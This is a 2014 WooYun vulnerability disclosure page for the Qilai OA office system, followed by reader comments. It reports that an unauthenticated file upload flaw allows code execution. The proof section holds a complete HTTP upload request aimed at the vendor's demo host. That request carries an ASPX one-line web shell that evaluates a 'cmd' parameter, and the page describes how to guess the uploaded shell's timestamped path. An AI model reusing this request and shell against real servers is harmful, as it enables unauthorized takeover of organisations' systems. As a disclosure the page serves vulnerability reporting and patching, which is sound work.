当前位置：WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号：wooyun-2014-065391

漏洞标题：某OA系统无需登录GetShell

相关厂商：cncert国家互联网应急中心

漏洞作者： xfkxfk

提交时间：2014-06-18 16:45

修复时间：2014-09-16 16:46

公开时间：2014-09-16 16:46

漏洞类型：文件上传导致任意代码执行

危害等级：高

自评Rank：20

漏洞状态：已交由第三方合作机构(cncert国家互联网应急中心)处理

漏洞来源： http://www.wooyun.org，如有疑问或需要帮助请联系 [email protected]

Tags标签： 无

4人收藏 收藏
分享漏洞：

漏洞详情

披露状态：

2014-06-18： 细节已通知厂商并且等待厂商处理中
2014-06-23： 厂商已经确认，细节仅向厂商公开
2014-06-26： 细节向第三方安全合作伙伴开放
2014-08-17： 细节向核心白帽子及相关领域专家公开
2014-08-27： 细节向普通白帽子公开
2014-09-06： 细节向实习白帽子公开
2014-09-16： 细节向公众公开

简要描述：

某OA系统无需登录GetShell，官方demo已GetShell

详细说明：

官方：http://www.qioa.cn/
启莱OA（包括标准版，政务办，教育版，工程版）
官方案例：http://www.qioa.cn/index.php?m=content&c=index&a=lists&catid=7
用户还是很多的。
启莱OA标准版官方演示地址：
http://test.oawin.net:8888/Login.aspx

漏洞证明：

上传地址：
http://test.oawin.net:8888/Client/UserInfo_update.aspx?user=admin
在用户头像上传处，虽然是在登陆后才能进行的功能，存在两个缺陷：
1、但是这里在上传文件时，判断用户登陆存在缺陷，不用登陆也能直接上传
2、在上上传是没有判断文件后缀，直接上传任意文件
发送请求如下：

POST /Client/UserInfo_update.aspx?user=admin HTTP/1.1
Host: test.oawin.net:8888
User-Agent: Mozilla/5.0 (Windows NT 6.1; rv:30.0) Gecko/20100101 Firefox/30.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-cn,zh;q=0.8,en-us;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
Connection: keep-alive
Content-Type: multipart/form-data; boundary=---------------------------16733431817708
Content-Length: 1715
-----------------------------16733431817708
Content-Disposition: form-data; name="__VIEWSTATE"
-----------------------------16733431817708
Content-Disposition: form-data; name="Sex"
男
-----------------------------16733431817708
Content-Disposition: form-data; name="Bothday"
2012-2-10
-----------------------------16733431817708
Content-Disposition: form-data; name="uploadFile"; filename="123.aspx"
Content-Type: image/jpeg
<%@ Page Language="Jscript"%><%eval(Request.Item["cmd"],"unsafe");%>
-----------------------------16733431817708
Content-Disposition: form-data; name="Tel"
-----------------------------16733431817708
Content-Disposition: form-data; name="Fax"
-----------------------------16733431817708
Content-Disposition: form-data; name="MoveTel"
-----------------------------16733431817708
Content-Disposition: form-data; name="LittleTel"
-----------------------------16733431817708
Content-Disposition: form-data; name="Email"
-----------------------------16733431817708
Content-Disposition: form-data; name="QQNum"
-----------------------------16733431817708
Content-Disposition: form-data; name="Msn"
-----------------------------16733431817708
Content-Disposition: form-data; name="ICQ"
-----------------------------16733431817708
Content-Disposition: form-data; name="Address"
-----------------------------16733431817708
Content-Disposition: form-data; name="ZipCode"
-----------------------------16733431817708
Content-Disposition: form-data; name="HomeTel"
-----------------------------16733431817708
Content-Disposition: form-data; name="Button1"
提交
-----------------------------16733431817708--


1.png


虽然会提示登陆超时，但是依然成功更新，成功上传aspx文件。
上传后的shell地址为：
http://test.oawin.net:8888/SystemManage/User/file/年月日时分秒+7位数字.aspx
如：http://test.oawin.net:8888/SystemManage/User/file/20146181626151851927.aspx
在同一秒内，我们可以上传很多文件，这样大大加大了文件名猜解速度。
来一张官方demo的shell：

2.png

修复方案：

严格控制用户验证
限制上传问价类型

版权声明：转载请注明来源 xfkxfk@乌云

漏洞回应

厂商回应：

危害等级：高

漏洞Rank：13

确认时间：2014-06-23 08:35

厂商回复：

最新状态：

暂无

漏洞评价：

评论

  1. 2014-06-18 16:57 | reality0ne ( 路人 | Rank:18 漏洞数:7 )

    官方demo23333333

  2. 2014-06-18 16:57 | wefgod ( 普通白帽子 | Rank:1807 漏洞数:179 | 力不从心)

    真是一天到晚都那啥啊

  3. 2014-06-18 17:00 | xsser 认证白帽子 ( 普通白帽子 | Rank:254 漏洞数:18 | 当我又回首一切,这个世界会好吗?)

    @wefgod 呵呵

  4. 2014-06-18 17:04 | xfkxfk 认证白帽子 ( 核心白帽子 | Rank:2179 漏洞数:338 | 呵呵！)

    @wefgod 呵呵

  5. 2014-06-18 19:22 | wefgod ( 普通白帽子 | Rank:1807 漏洞数:179 | 力不从心)

    @xfkxfk @xsser 二位为何如此高兴？莫非二位之间……

  6. 2014-09-16 16:50 | f4ckbaidu ( 普通白帽子 | Rank:182 漏洞数:23 | 开发真是日了狗了)

    又是判断权限后没有用response.end的临时工。。

  7. 2014-09-16 17:41 | 夏殇 ( 路人 | Rank:30 漏洞数:21 | 不忘初心，方得始终。)

    那个地址怎么知道是那种格式的

  8. 2014-09-20 21:25 | Mxx ( 路人 | Rank:0 漏洞数:2 | 没有)

    马克